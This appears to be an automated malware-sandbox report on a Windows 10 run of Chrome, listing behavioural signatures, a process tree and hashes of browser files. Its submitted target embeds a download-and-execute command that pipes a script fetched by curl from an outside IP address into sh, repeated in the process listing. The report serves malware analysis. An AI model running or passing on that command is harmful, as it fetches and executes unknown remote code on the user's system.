Analysis

  • max time kernel
    85s
  • max time network
    74s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250610-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250610-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/07/2025, 05:54

General

  • Target

    http://bash -c "curl 158.51.126.131/zy.sh -o- | sh";echo -n "H4G0dNRhNFbAIEs3Zt1kvQAnGsk74yXUKHCfnRVLMHR3HYcpf2N1CWn8QBblXcmT5yH16

Score
3/10

Malware Config

Signatures

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 26 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://bash -c "curl 158.51.126.131/zy.sh -o- | sh";echo -n "H4G0dNRhNFbAIEs3Zt1kvQAnGsk74yXUKHCfnRVLMHR3HYcpf2N1CWn8QBblXcmT5yH16
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:6024
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffbd318dcf8,0x7ffbd318dd04,0x7ffbd318dd10
      2⤵
        PID:6136
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1524,i,196414689045168326,2874631125128279261,262144 --variations-seed-version=20250610-050053.594000 --mojo-platform-channel-handle=2080 /prefetch:3
        2⤵
          PID:4336
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2052,i,196414689045168326,2874631125128279261,262144 --variations-seed-version=20250610-050053.594000 --mojo-platform-channel-handle=2020 /prefetch:2
          2⤵
            PID:6092
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2368,i,196414689045168326,2874631125128279261,262144 --variations-seed-version=20250610-050053.594000 --mojo-platform-channel-handle=2512 /prefetch:8
            2⤵
              PID:2732
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3180,i,196414689045168326,2874631125128279261,262144 --variations-seed-version=20250610-050053.594000 --mojo-platform-channel-handle=3184 /prefetch:1
              2⤵
                PID:4044
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3192,i,196414689045168326,2874631125128279261,262144 --variations-seed-version=20250610-050053.594000 --mojo-platform-channel-handle=3248 /prefetch:1
                2⤵
                  PID:2212
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4284,i,196414689045168326,2874631125128279261,262144 --variations-seed-version=20250610-050053.594000 --mojo-platform-channel-handle=4300 /prefetch:2
                  2⤵
                    PID:5336
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4652,i,196414689045168326,2874631125128279261,262144 --variations-seed-version=20250610-050053.594000 --mojo-platform-channel-handle=4688 /prefetch:1
                    2⤵
                      PID:4852
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5348,i,196414689045168326,2874631125128279261,262144 --variations-seed-version=20250610-050053.594000 --mojo-platform-channel-handle=5360 /prefetch:8
                      2⤵
                        PID:4296
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=208,i,196414689045168326,2874631125128279261,262144 --variations-seed-version=20250610-050053.594000 --mojo-platform-channel-handle=5604 /prefetch:8
                        2⤵
                          PID:3836
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5360,i,196414689045168326,2874631125128279261,262144 --variations-seed-version=20250610-050053.594000 --mojo-platform-channel-handle=5452 /prefetch:8
                          2⤵
                            PID:1700
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5588,i,196414689045168326,2874631125128279261,262144 --variations-seed-version=20250610-050053.594000 --mojo-platform-channel-handle=5356 /prefetch:8
                            2⤵
                              PID:2164
                          • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                            "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                            1⤵
                              PID:5956
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                              1⤵
                                PID:6048

                              Network

                                    MITRE ATT&CK Enterprise v16

                                    Replay Monitor

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                                    Downloads

                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

                                      Filesize

                                      649B

                                      MD5

                                      bed212575d7cfd757c9822e750a9b39e

                                      SHA1

                                      0a2077b5605147721b0567b9031ab333ad887586

                                      SHA256

                                      35d37d69dff93c37490f3f8e39103e38a6c873d4accde3f871d328cebf7b7c45

                                      SHA512

                                      825c4f10144692979228f32becca29171cb67934aa30f1bb0020f2e11d7337fed3991cfe48d9a31702e62278668cbd54d6afd1833ee6493fdd9bc5d86b105e8b

                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

                                      Filesize

                                      2KB

                                      MD5

                                      2392daa78067afc665fd6a646774a1ee

                                      SHA1

                                      1535afb84f73feeff6a989ebde824672b8d4eecd

                                      SHA256

                                      65104f10a718d8bbc1bd2aae4be66890cda4c486519bfca8c2a765ead82c7481

                                      SHA512

                                      2efba89ed9966cf8cb5eef092d76ca99512f9713c9a2128021a62adcda29dc61ce93ffd7d8773de01cbf76665557392eddcd7e53d29334364e7dff8053e853e6

                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

                                      Filesize

                                      2B

                                      MD5

                                      d751713988987e9331980363e24189ce

                                      SHA1

                                      97d170e1550eee4afc0af065b78cda302a97674c

                                      SHA256

                                      4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

                                      SHA512

                                      b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                      Filesize

                                      10KB

                                      MD5

                                      bbee4fd10314cd9f354e911fceba63de

                                      SHA1

                                      62f49c9f77330879a1c339fd9c6fb5ce26dc426f

                                      SHA256

                                      e0218ee104cc036c2e09eb6a4d5b2b3e076382a29b91844354865d60677c1af9

                                      SHA512

                                      ffdc9e25a186c31739c274a71b233da4c1b75c9f6bbd47c8ba0000152d01f66e8a6227e1f4e50255f183b1329770bb223bde341f87b06464c400334b27b66426

                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                      Filesize

                                      10KB

                                      MD5

                                      1ab6835ef2b2d1ec60fbf7208016d4e3

                                      SHA1

                                      3bc30f4096dfaa0cf442fd18d130676c9e83c1c3

                                      SHA256

                                      19529735245254a80c33c72492c5794174b54e4f324b277b0fa2acaa3b29b39c

                                      SHA512

                                      0a2d1a9c449d4e2ac3d720f501bc837f7f012e3f3ce6e6b42f75b5752df1cb0f4ad4c3b20d05ea54df69702d534dc4d9b6c5e20faa05e3ffa8a8fc73edd5cf67

                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

                                      Filesize

                                      15KB

                                      MD5

                                      9006887a3f2f3a4d8498b5ab774b51a8

                                      SHA1

                                      1e3e1326e6b0d4ab269b23cfcb09224196041f78

                                      SHA256

                                      5ee19a2dc523cafd606b262c7caaf54673c4fd79722465f0ebb2e9040ed7f060

                                      SHA512

                                      3131ad5508b530f3f8a6872bf442519556e02bdad650a192b42103a75410fd3ec2fc8a3531f695b281fc980cc328cd452fbea62edb476034114f9d580e315ec7

                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

                                      Filesize

                                      72B

                                      MD5

                                      d6185424c04d938731b0de9c9ad217e7

                                      SHA1

                                      50aa3e40b790947742edb24db711df77caef884c

                                      SHA256

                                      7e79ca671189cdd6f18781159d234ea0d8a8046b5bc38de7db5cce10af669eb4

                                      SHA512

                                      a7e65138bab18225372502567bbc52a682de5c899bba084cea2678d12056851aae963ec3cded039917fb2bd7db95af1d0162713e5d4b7a0b2876935cdb886e1f

                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe580dd6.TMP

                                      Filesize

                                      48B

                                      MD5

                                      7b1ae0460404bb48d33d8dd64e83e5f4

                                      SHA1

                                      8cb29a7c7824e14a7e05f58765c3356384a64a21

                                      SHA256

                                      37f6dc8eb36e0aee26f16a106d9c05a2cfaddfac7918aee5729bb3d0ac2e91d0

                                      SHA512

                                      1470aaf29223f5bc7c58ae2aa4e6301538d070b3d502aa08411f8ef420dbbbb360269b50127cf45a9176695dc3d4b47bf0128e1d1e2954ce0dda1516e6a91f8d

                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                      Filesize

                                      82KB

                                      MD5

                                      67f7aa0442c87e8d0d5c7d02e88c9370

                                      SHA1

                                      e9e93763510dd76d7f1d4c14ad22c39449294cce

                                      SHA256

                                      25ef4597fee98c70eb908eca7d5ef71247d67c46871bdbe8e25e9a034ca150b8

                                      SHA512

                                      3e2f6964a72f5e58fe15e9bc114195748d2b6423c467598face8d2cb4aef3023b350e6543ad63b98a8e84a14815bf438c4d3e78317b60f839c2bb9418a6b52a3

                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                      Filesize

                                      83KB

                                      MD5

                                      a39de8ddba65bb5a6a0bc8612574504b

                                      SHA1

                                      c23b19cda875cc204f0a5f8eac3514e2656f9529

                                      SHA256

                                      24a65425122312dfb7359ad3af0537dfb5637e7b98a9a216f1cbd516d25d80f0

                                      SHA512

                                      c9365b6cd2653832689011090175f5af16e560ba3df7544a89179b7e7927f09adfa3ceb6cbda1d3e6460b7081f20cb1d0412efb4b7495354ef6b667e444d8834

                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                      Filesize

                                      83KB

                                      MD5

                                      03735eacf39ad888367ed5f1e001b0ed

                                      SHA1

                                      412eff409953f540623f4ff5c4251a869a9eb352

                                      SHA256

                                      f7c38e132c636715c4223c6b2500a2721cce9c273f80ed6636bb008359ab1679

                                      SHA512

                                      c860f0b64cab3306fe5753c877d55ab8b4a62f828faa19ad670b997666eb5cd1e9af7410020edd6c2c9760fb66649f5dbcd3f22a897c026fa4ac3989f44abd8b